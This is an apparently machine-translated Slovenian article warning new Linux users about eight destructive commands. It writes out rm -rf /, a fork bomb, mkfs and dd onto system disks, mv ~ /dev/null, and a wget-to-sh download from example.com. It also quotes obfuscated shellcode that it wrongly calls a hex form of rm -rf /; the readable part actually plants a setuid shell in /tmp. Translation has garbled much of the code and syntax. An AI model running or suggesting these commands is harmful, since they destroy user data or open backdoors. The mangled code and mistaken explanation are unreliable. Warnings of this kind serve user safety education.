8 Smrtonosni ukazi, ki jih nikoli ne smete zagnati v Linuxu
Linuxovi terminalski ukazi so zmogljivi in Linux vas ne bo zahteval po potrditvi, če zaženete ukaz, ki bo prekinil vaš sistem. Nič nenavadnega ni, da bi videli trolle na spletu, ki priporočajo novim uporabnikom Linuxa, da te ukaze zaženejo kot šalo.
Učenje ukazov, ki jih ne bi smeli izvajati, vam lahko pomaga zaščititi pred trolovi, hkrati pa povečati vaše razumevanje delovanja Linuxa. To ni izčrpen priročnik in ukazi se lahko na različne načine prestavijo.
Upoštevajte, da bo veliko teh ukazov nevarno le, če imajo predpono sudo na Ubuntu - ne bodo delovali drugače. V drugih distribucijah Linuxa je treba večino ukazov zagnati kot root.
Image Credit: Skull in Crossbones remixed od Jason Ford na Twitterju
rm -rf / - izbriše vse!
Ukaz rm -rf / izbriše vse, kar je mogoče, vključno z datotekami na trdem disku in datotekami na povezanih prenosnih napravah. Ta ukaz je bolj razumljiv, če je razdeljen:
rm - Odstranite naslednje datoteke.
-rf - Zaženite rm rekurzivno (izbrišite vse datoteke in mape znotraj določene mape) in prisilno odstranite vse datoteke, ne da bi vas to vprašalo.
/ - Pove, naj začne RM v korenskem imeniku, ki vsebuje vse datoteke v računalniku in vse nameščene medijske naprave, vključno z oddaljenimi skupnimi datotekami in izmenljivimi pogoni.
Linux bo z veseljem spoštoval ta ukaz in izbrisal vse, ne da bi vas pozval, zato bodite previdni, ko ga uporabljate! Ukaz rm lahko uporabite tudi na druge nevarne načine - rm -rf ~ izbrisati vse datoteke v vaši domači mapi, medtem ko rm -rf. * izbriše vse vaše konfiguracijske datoteke.
Lekcija: Pazi rm -rf.
Prikrit rm -rf /
Tu je še en odrezek kode, ki je po vsem spletu:
char esp [] __attribute__ ((razdelek (". besedilo"))) / * e.s.p
sprostitev * /
X86 x64 x64 x64 x64 x64 x64 x64 x64
Xff xff xff xff x68 xdf x0 xdf xd9 x68 x8 x99
Xdf x86 x64 x5 xf x16 x64 x54 x5 xf x16 xf7
X56 x56 x56 x56 x56 x64 x56 x56 x56
X8 x73 x08 x5 xd x80 x 38 x31
Xx xf xff xf x2 x62 xx xff xf x2 x62 x69 x69
X6e x2 x73 x68 x00 x2 xd x63 x00
“Cp -p / bin / sh / tmp/.beyond; chmod 4755
/tmp/.beyond; ”;
To je hex različica rm -rf / - Izvajanje tega ukaza bi izbrisalo vaše datoteke, tako kot če bi zagnali rm -rf /.
Lekcija: Ne vodite čudnih, očitno prikritih ukazov, ki jih ne razumete.
: () : |: & ;: - bomba z vilicami
Naslednja vrstica je preprosta, vendar nevarna, bash funkcija:
: () : |: & ;:
Ta kratka vrstica določa lupinsko funkcijo, ki ustvarja nove kopije samega sebe. Proces se neprestano ponavlja, njegove kopije pa se nenehno kopirajo, kar hitro vzame ves čas procesorja in pomnilnik. To lahko povzroči zamrznitev računalnika. V bistvu gre za napad z zavrnitvijo storitve.
Lekcija: Bash funkcije so močne, celo zelo kratke.
Zasluge za sliko: Dake v Wikimedijinem Zboru
mkfs.ext4 / dev / sda1 - Oblikuje trdi disk
The mkfs.ext4 / dev / sda1 ukaz je preprost za razumevanje:
mkfs.ext4 - Na naslednji napravi ustvarite nov datotečni sistem ext4.
/ dev / sda1 - Določa prvo particijo na prvem trdem disku, ki je verjetno v uporabi.
Ta ukaz je lahko enakovreden formatu c: v operacijskem sistemu Windows - izbriše datoteke na prvi particiji in jih nadomesti z novim datotečnim sistemom..
Ta ukaz lahko pride tudi v drugih oblikah - mkfs.ext3 / dev / sdb2 bi drugo particijo formatiralo na drugem trdem disku z datotečnim sistemom ext3.
Lekcija: Pazite na izvajanje ukazov neposredno na trdih diskih, ki se začnejo z / dev / sd.
ukaz / dev / sda - neposredno piše na trdi disk
The ukaz> / dev / sda linija deluje podobno - zažene ukaz in pošilja izhodne podatke tega ukaza neposredno na vaš prvi trdi disk, zapisuje podatke neposredno na trdi disk in poškoduje vaš datotečni sistem.
ukaz - Zaženi ukaz (lahko je kateri koli ukaz.)
> - Pošljite izhodni ukaz ukaza na naslednjo lokacijo.
/ dev / sda - Izpise ukaza zapišite neposredno na trdi disk.
Lekcija: Kot zgoraj, bodite pozorni na ukaze, ki vključujejo trde diske, ki se začnejo z / dev / sd.
dd if = / dev / random od = / dev / sda - Zapiše neželeno vsebino na trdi disk
The dd če je = / dev / random od = / dev / sda linija bo tudi izbrisala podatke na enem od vaših trdih diskov.
dd - Izvajajte nizko raven kopiranja z ene lokacije na drugo.
if = / dev / random - Kot vhod uporabite / dev / random (naključni podatki) - lahko vidite tudi lokacije, kot je / dev / zero (ničle).
od = / dev / sda - Izhodite na prvi trdi disk in zamenjajte njegov datotečni sistem z naključnimi podatki o smeti.
Lekcija: dd kopira podatke iz ene lokacije v drugo, kar je lahko nevarno, če kopirate neposredno na napravo.
Image Credit: Matt Rudge na Flickru
mv ~ / dev / null - Premakne vaš domači imenik v črno luknjo
/ dev / null je še ena posebna lokacija - premikanje v / dev / null je isto kot uničenje. Razmislite o / dev / null kot črni luknji. V bistvu, mv ~ / dev / null pošlje vse vaše osebne datoteke v črno luknjo.
mv - Premaknite naslednjo datoteko ali imenik na drugo mesto.
~ - Predstavlja celotno domačo mapo.
/ dev / null - Premaknite domačo mapo v / dev / null, uničite vse datoteke in izbrišite izvirne kopije.
Lekcija: Znak ~ predstavlja vašo domačo mapo in premikanje stvari v / dev / null jih uniči.
wget http://example.com/something -O - | sh - Prenos in zagon skripta
Zgornja vrstica prenese skript iz spleta in ga pošlje sh, ki izvaja vsebino skripta. To je lahko nevarno, če niste prepričani, kaj je skript ali če ne zaupate njegovemu viru - ne zaženite nezaupanih skriptov.
wget - Prenosi datoteko. (Namesto wget-a lahko vidite tudi kodre.)
http://example.com/something - Prenesite datoteko s te lokacije.
| - Pipe (pošlji) izhod ukaza wget (datoteka, ki ste jo prenesli) neposredno na drug ukaz.
sh - Pošljite datoteko ukazu sh, ki jo izvede, če je bash skript.
Lekcija: Ne prenesite in ne zaženite nezaupnih skriptov iz spleta, tudi če imate ukaz.
Poznate druge nevarne ukaze, ki jih novi (in izkušeni) uporabniki Linuxa ne bi smeli izvajati? Pustite komentar in jih delite!